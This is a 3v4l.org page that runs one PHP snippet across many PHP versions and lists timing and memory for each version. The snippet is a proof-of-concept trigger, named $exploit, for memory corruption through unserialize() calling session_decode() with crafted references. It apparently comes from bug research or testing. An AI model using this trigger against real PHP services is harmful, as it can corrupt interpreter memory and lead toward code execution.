3v4l.org

run code in 300+ PHP versions simultaneously
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { session_decode($data); } } $inner = 'r:2;'; $exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;C:3:"obj":'.strlen($inner).':{'.$inner.'}}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data); var_dump($_SESSION);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0100.01016.63
8.3.50.0300.01021.20
8.3.40.0110.00418.84
8.3.30.0060.00919.02
8.3.20.0040.00420.14
8.3.10.0000.00723.64
8.3.00.0030.00522.46
8.2.180.0120.00318.46
8.2.170.0070.00722.96
8.2.160.0100.01022.26
8.2.150.0030.00524.18
8.2.140.0040.00424.66
8.2.130.0040.00426.16
8.2.120.0040.00417.50
8.2.110.0090.00020.46
8.2.100.0060.00617.97
8.2.90.0030.00517.97
8.2.80.0040.00417.97
8.2.70.0040.00417.60
8.2.60.0000.00817.93
8.2.50.0050.00518.07
8.2.40.0060.00321.24
8.2.30.0000.00819.98
8.2.20.0050.00317.77
8.2.10.0080.00018.08
8.2.00.0060.00318.26
8.1.280.0120.00625.92
8.1.270.0040.00420.37
8.1.260.0040.00426.35
8.1.250.0040.00428.09
8.1.240.0090.00022.05
8.1.230.0040.00820.91
8.1.220.0040.00417.78
8.1.210.0060.00318.97
8.1.200.0090.00017.23
8.1.190.0080.00017.00
8.1.180.0000.00818.10
8.1.170.0000.00818.49
8.1.160.0040.00421.96
8.1.150.0000.00818.93
8.1.140.0040.00417.50
8.1.130.0040.00417.61
8.1.120.0040.00417.52
8.1.110.0030.00617.50
8.1.100.0040.00417.50
8.1.90.0040.00417.47
8.1.80.0030.00617.52
8.1.70.0000.00717.39
8.1.60.0000.00817.64
8.1.50.0000.00917.53
8.1.40.0080.00017.51
8.1.30.0030.00617.68
8.1.20.0040.00417.68
8.1.10.0090.00017.62
8.1.00.0000.00817.41
8.0.300.0090.00019.91
8.0.290.0070.00016.75
8.0.280.0030.00318.48
8.0.270.0000.00717.29
8.0.260.0040.00717.29
8.0.250.0060.00316.99
8.0.240.0000.00616.89
8.0.230.0070.00017.04
8.0.220.0000.00717.05
8.0.210.0000.00816.85
8.0.200.0050.00317.08
8.0.190.0040.00416.93
8.0.180.0040.00417.00
8.0.170.0000.00816.87
8.0.160.0070.00017.00
8.0.150.0080.00016.95
8.0.140.0000.00716.82
8.0.130.0080.00013.29
8.0.120.0040.00417.00
8.0.110.0020.00516.96
8.0.100.0000.00816.83
8.0.90.0040.00417.12
8.0.80.0110.00416.96
8.0.70.0040.00417.04
8.0.60.0050.00216.91
8.0.50.0000.00817.10
8.0.30.0070.01217.24
8.0.20.0130.00617.40
8.0.10.0000.00717.18
8.0.00.0100.00816.87
7.4.330.0030.00315.16
7.4.320.0000.00816.46
7.4.300.0410.00016.47
7.4.290.0050.00316.68
7.4.280.0000.00816.54
7.4.270.0070.00016.56
7.4.260.0000.00716.57
7.4.250.0070.00016.49
7.4.240.0020.00516.52
7.4.230.0030.00316.57
7.4.220.0060.01316.59
7.4.210.0030.01716.59
7.4.200.0030.00316.66
7.4.160.0130.00416.55
7.4.150.0150.00317.40
7.4.140.0110.01017.86
7.4.130.0110.00816.55
7.4.120.0060.01116.56
7.4.110.0110.00716.63
7.4.100.0090.01516.63
7.4.90.0120.00616.55
7.4.80.0140.01119.39
7.4.70.0060.01216.62
7.4.60.0130.00316.67
7.4.50.0060.00316.60
7.4.40.0080.00816.36
7.4.30.0100.01416.52
7.4.00.0060.00914.84
7.3.330.0000.00613.22
7.3.320.0000.00613.40
7.3.310.0000.00716.42
7.3.300.0030.00316.46
7.3.290.0050.00916.41
7.3.280.0070.01116.38
7.3.270.0060.01217.40
7.3.260.0130.00416.67
7.3.250.0120.00916.50
7.3.240.0090.00916.48
7.3.230.0030.01416.50
7.3.210.0170.00016.54
7.3.200.0060.01216.59
7.3.190.0100.00716.49
7.3.180.0060.01016.64
7.3.170.0130.00916.49
7.3.160.0070.01316.68
7.3.120.0090.00614.92
7.3.110.0090.00915.14
7.3.100.0100.00715.13
7.3.90.0040.01114.77
7.3.80.0030.01014.87
7.3.70.0070.00714.93
7.3.60.0080.00414.73
7.3.50.0000.00914.94
7.3.40.0060.00914.81
7.3.30.0070.01014.92
7.3.20.0100.00716.80
7.3.10.0040.01116.77
7.3.00.0030.00716.65
7.2.330.0120.00616.90
7.2.320.0090.00816.62
7.2.310.0120.00616.77
7.2.300.0110.00716.63
7.2.290.0060.01216.70
7.2.250.0060.01315.04
7.2.240.0070.01115.32
7.2.230.0100.00315.03
7.2.220.0030.00615.25
7.2.210.0050.00515.14
7.2.200.0070.00714.84
7.2.190.0090.00615.12
7.2.180.0110.00414.87
7.2.170.0000.01715.00
7.2.60.0030.01116.92
7.2.00.0060.00919.55
7.1.330.0110.00615.72
7.1.320.0070.00716.01
7.1.310.0000.01715.96
7.1.300.0140.00015.61
7.1.290.0060.00315.56
7.1.280.0030.00715.89
7.1.270.0000.01615.82
7.1.260.0000.01415.83
7.1.200.0030.01015.88
7.1.100.0140.00718.30
7.1.70.0040.00417.34
7.1.60.0090.01519.18
7.1.50.0130.00617.01
7.1.00.0000.07722.43
7.0.200.0050.00916.92
7.0.60.0100.03719.99
7.0.50.0170.06717.98
7.0.40.0100.09020.40
7.0.30.0230.07320.30
7.0.20.0170.06320.16
7.0.10.0230.08320.10
7.0.00.0030.04020.29
5.6.280.0030.07321.07
5.6.210.0100.08320.64
5.6.200.0000.05318.23
5.6.190.0070.06020.52
5.6.180.0430.05720.61
5.6.170.0270.03720.47
5.6.160.0030.05020.44
5.6.150.0100.03318.22
5.6.140.0130.05018.15
5.6.130.0200.07318.14
5.6.120.0070.07021.12
5.6.110.0070.08321.02
5.6.100.0070.08321.12
5.6.90.0130.08021.07
5.6.80.0070.06020.38
5.6.70.0200.02720.47
5.5.350.0170.06320.34
5.5.340.0070.08718.09
5.5.330.0100.03720.32
5.5.320.0070.03720.50
5.5.310.0200.03320.34
5.5.300.0030.05017.90
5.5.290.0070.04717.96
5.5.280.0130.07720.77
5.5.270.0070.08020.73
5.5.260.0000.07020.98
5.5.250.0030.08320.55
5.5.240.0070.08020.29
5.4.450.1000.07719.43
5.4.440.0700.06319.58
5.4.430.0700.05319.63
5.4.420.0630.06019.57
5.4.410.1000.07019.18
5.4.400.0800.07019.32
5.4.390.0770.06719.14
5.4.380.0630.06319.06
5.4.370.0930.05719.29
5.4.360.0800.06018.88
5.4.350.0700.06318.87
5.4.340.0830.05719.29
5.4.320.0700.05319.13
5.4.310.0630.06319.05
5.4.300.0770.05019.10
5.4.290.0730.05719.29
5.4.280.0800.05019.17
5.4.270.0700.05719.15
5.4.260.0670.05319.38
5.4.250.0670.05719.28
5.4.240.0700.05319.11
5.4.230.0570.05719.14
5.4.220.0700.07319.27
5.4.210.0670.06318.88
5.4.200.0670.05316.89
5.4.190.0630.05319.03
5.4.180.0930.04718.93
5.4.170.0130.05019.02
5.4.160.0630.06718.89
5.4.150.0930.04719.12
5.4.140.0870.06316.59
5.4.130.0900.04716.55
5.4.120.0970.07016.36
5.4.110.0770.05016.77
5.4.100.0670.05016.60
5.4.90.0170.06016.60
5.4.80.0870.05016.36
5.4.70.1000.07016.75
5.4.60.1000.05316.35
5.4.50.0930.04316.44
5.4.40.0900.04716.48
5.4.30.0870.04316.37
5.4.20.0700.04716.27
5.4.10.0200.05716.53
5.4.00.0870.04715.98

preferences:
58.87 ms | 401 KiB | 5 Q